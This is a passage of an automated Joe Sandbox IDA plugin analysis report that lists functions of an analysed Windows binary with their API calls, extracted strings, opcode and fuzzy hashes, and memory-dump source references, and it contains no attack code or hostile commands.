", xrefs: 00DD0018
p, xrefs: 00DD015D
eqXO, xrefs: 00DD02DC
0, xrefs: 00DCFDB8
LM, xrefs: 00DD02E7

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: "$0$LM$eqXO$p
API String ID: 0-1349034001
Opcode ID: 1e9454f5645868c1fc9872f90d377f3a56da5a2d4634adeb45710c9d1cfa847a
Instruction ID: 1be6efc26d109b9b585974d59990b8b76153e6f7129dd58c4e07176c80e9a5f9
Opcode Fuzzy Hash: 1e9454f5645868c1fc9872f90d377f3a56da5a2d4634adeb45710c9d1cfa847a
Instruction Fuzzy Hash: 4F0202B05083818BE324CF14C494BAFBBE2BBC6344F148D2DE5D58B291D779D949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D9602F Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000), ref: 00D960CA
FindNextFileW.KERNEL32(00000000,?), ref: 00D96145
FindClose.KERNEL32(00000000), ref: 00D96167
FindClose.KERNEL32(00000000), ref: 00D9618A

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 6fc05640486e9ee8b3d72c5cef7f2fe2ebb8e59045b720b6c078bc40588b087e
Instruction ID: a24a774914c8caddabeabbaa1371b024323e2035605afbb013e3b086c0c34abb
Opcode Fuzzy Hash: 6fc05640486e9ee8b3d72c5cef7f2fe2ebb8e59045b720b6c078bc40588b087e
Instruction Fuzzy Hash: BF41C471A00729AFDF30EFA8DD89ABAB778EB85344F044195E409A3145EA31DE84CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D3F7BA Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D3F7C6
IsDebuggerPresent.KERNEL32 ref: 00D3F892
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D3F8AB
UnhandledExceptionFilter.KERNEL32(?), ref: 00D3F8B5

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 116be2ff95d1e2becceb3220773a924fb438d62a418817d7ce669aaf633ae860
Instruction ID: a3d6c63351e542f66f5a27cb7e065824f13b4f0a91c719e4521e27e06326da80
Opcode Fuzzy Hash: 116be2ff95d1e2becceb3220773a924fb438d62a418817d7ce669aaf633ae860
Instruction Fuzzy Hash: D53118B5D0121DDBDB20DF65D849BCDBBB8BF08700F1041AAE50CAB290EB719A858F54

Uniqueness

Uniqueness Score: -1.00%

Function 00D14B3D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002), ref: 00D14B51
FormatMessageA.KERNEL32(00001300,00000000,?,?,?,00000000,00000000), ref: 00D14B78

Strings

!x-sys-default-locale, xrefs: 00D14B4C

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: d102e60bf9a994588640d1de5141a0a4c6f241d16526eacc298ed0253289b912
Instruction ID: f7d063631cab5e301befcf49523fef2ac1743f38b37784a50aa3ba7e35480b22
Opcode Fuzzy Hash: d102e60bf9a994588640d1de5141a0a4c6f241d16526eacc298ed0253289b912
Instruction Fuzzy Hash: CFF030B5114104FFEF249B95DC0AEFB76ACEB08750F004119B906E6180E6B0AE449B74

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B598 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9B5EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9B636
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9B6FC

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5ffb22ac9bee32ace2c26a4df73616bb28fe487819f49a8d4bdd456d9cc8116c
Instruction ID: ba04fad3e1c835fc89ca6f0ee20f9d1111ebf598e5a56c8c4a2ac2bf4bb012fe
Opcode Fuzzy Hash: 5ffb22ac9bee32ace2c26a4df73616bb28fe487819f49a8d4bdd456d9cc8116c
Instruction Fuzzy Hash: 9361D771500207AFDF24AF68EE82BBA73A8EF44320F15417AE905C6285F734E945CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D50955 Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00D50A4D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D50A57
UnhandledExceptionFilter.KERNEL32(?), ref: 00D50A64

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5c8e0e3bff0acd5bfb1332ff40aeb0eeb72d8ccbd660a3201712094e85eb7b27
Instruction ID: e6a331d97b2ffbbac817389c468eeb14f77b4c79f49ea2e1fd00e70b07d0f167
Opcode Fuzzy Hash: 5c8e0e3bff0acd5bfb1332ff40aeb0eeb72d8ccbd660a3201712094e85eb7b27
Instruction Fuzzy Hash: BF31C474D012189BCB21DF68D889B8DBBB8BF08710F5441EAE91CA6291EB709F858F55

Uniqueness

Uniqueness Score: -1.00%

Function 00DE7878 Relevance: 4.1, Strings: 3, Instructions: 381COMMON

Download Yara Rule

Strings

%6):, xrefs: 00DE7C84
+g.+, xrefs: 00DE7C8C
\39$, xrefs: 00DE7CD0

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: %6):$+g.+$\39$
API String ID: 0-3210216783
Opcode ID: 164e5001d0aecdc3b6f4891b1e5fc3f163bd4169f991abc45fb1449726db336f
Instruction ID: 97995cd5b65a568b8054d6cddb485ee9852c4d8aeda4acd7c8127eced9e04025
Opcode Fuzzy Hash: 164e5001d0aecdc3b6f4891b1e5fc3f163bd4169f991abc45fb1449726db336f
Instruction Fuzzy Hash: 1CC1DEB1A083518FD754DF29C88076FB7E2EF95314F198A2DE9C997341E734D9048BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00DE69B8 Relevance: 4.0, Strings: 3, Instructions: 247COMMON

Download Yara Rule

Strings

z%h+, xrefs: 00DE6CCD, 00DE6D07, 00DE6CDC, 00DE6CFB, 00DE6CD8
z%h+, xrefs: 00DE6A96
\yF{, xrefs: 00DE6C20

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: \yF{$z%h+$z%h+
API String ID: 0-2872817344
Opcode ID: 73d779323e47310392a2b5a4eb3294e2bb562480c3cbc2f58e14341da36f259f
Instruction ID: 9b22e7a99ead5cf07af6d902ff23cb151e618076b20d3f8c9094d57cdf9b75bd
Opcode Fuzzy Hash: 73d779323e47310392a2b5a4eb3294e2bb562480c3cbc2f58e14341da36f259f
Instruction Fuzzy Hash: 1E9179B05083818BD724DF05C8907ABBBF1FF96354F548A1CE8D59B291E774D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00DE2388 Relevance: 2.9, Strings: 2, Instructions: 358COMMON

Download Yara Rule

Strings

onih, xrefs: 00DE269E
'-, xrefs: 00DE23A6

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: '-$onih
API String ID: 0-4148150686
Opcode ID: 9f0cb009a36ac737dff4faea41c9af5d0d022eee21946816083b70b896abdad5
Instruction ID: 25e03e87c2a63217492a45f35b9a6e562dde02212af2c9af49ab7853a90fc934
Opcode Fuzzy Hash: 9f0cb009a36ac737dff4faea41c9af5d0d022eee21946816083b70b896abdad5
Instruction Fuzzy Hash: 3C91BFB15043458BDB14EF19C8A1B7BB3E9EF91324F19461CE8929B291E734E914CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00DCF8A8 Relevance: 2.8, Strings: 2, Instructions: 339COMMON

Download Yara Rule

Strings

^Q, xrefs: 00DCF924
(, xrefs: 00DCFA9B

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: ^Q$(
API String ID: 0-2745640452
Opcode ID: a93bb09a9a647818fc34d264137a83322e7314be0be2c296838f03de3fcb84d7
Instruction ID: 4951a2fa3789863e3cde004bff0c48e34353fca30141fb76be2e3ef7dfb0d816
Opcode Fuzzy Hash: a93bb09a9a647818fc34d264137a83322e7314be0be2c296838f03de3fcb84d7
Instruction Fuzzy Hash: 1BC13AB110C3828FD725CF15C460B9BBBE1BF86314F18495DE4E59B392C779990ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00E01858 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00E01908
R-,T, xrefs: 00E019F8

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 4e0b7fcea2d5c73d1a19326fadbecc7e17abfabdc55ad0f60886167dd3c2433f
Instruction ID: 9032299e13bf401e58f5954ddc9566890b0f4580964e76112a3ad1bb8782427b
Opcode Fuzzy Hash: 4e0b7fcea2d5c73d1a19326fadbecc7e17abfabdc55ad0f60886167dd3c2433f
Instruction Fuzzy Hash: 66B1C0766043128FC714CF18C89066BB7E1FF88718F599A5CE895AB391D730DD85CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00D48318 Relevance: 2.5, Strings: 1, Instructions: 1201COMMON

Download Yara Rule

Strings

/, xrefs: 00D48C5C

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: d3d5ab11590ced84852cb8ecfe555fe2748af63acdf9b97a6e9bbcde906cb256
Instruction ID: d9b8a1f7d543955274435a41e04617fae8a3ab7607aa758f20bc37fe34fe6301
Opcode Fuzzy Hash: d3d5ab11590ced84852cb8ecfe555fe2748af63acdf9b97a6e9bbcde906cb256
Instruction Fuzzy Hash: FF925EB2E506199BDB18DEA8CC95BEE77A4EB14340F184139F516E72C0EF78D9089B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D95B4B Relevance: 1.8, APIs: 1, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d17fdaa40aa548899b8bcb223fc4a2a7378d80abef51246846fdaac76b0e842
Instruction ID: 8b98fa6845567ea5286621bb49096bcacb225cd954324db28e90b01a82eda43d
Opcode Fuzzy Hash: 1d17fdaa40aa548899b8bcb223fc4a2a7378d80abef51246846fdaac76b0e842
Instruction Fuzzy Hash: 2451D3B5800619AFDF24DFA8DC89AAAB7B9EF45304F1841ADF40DD3245EA319E418F70

Uniqueness

Uniqueness Score: -1.00%

Function 00D918BA Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?), ref: 00D91AE7

Memory Dump Source

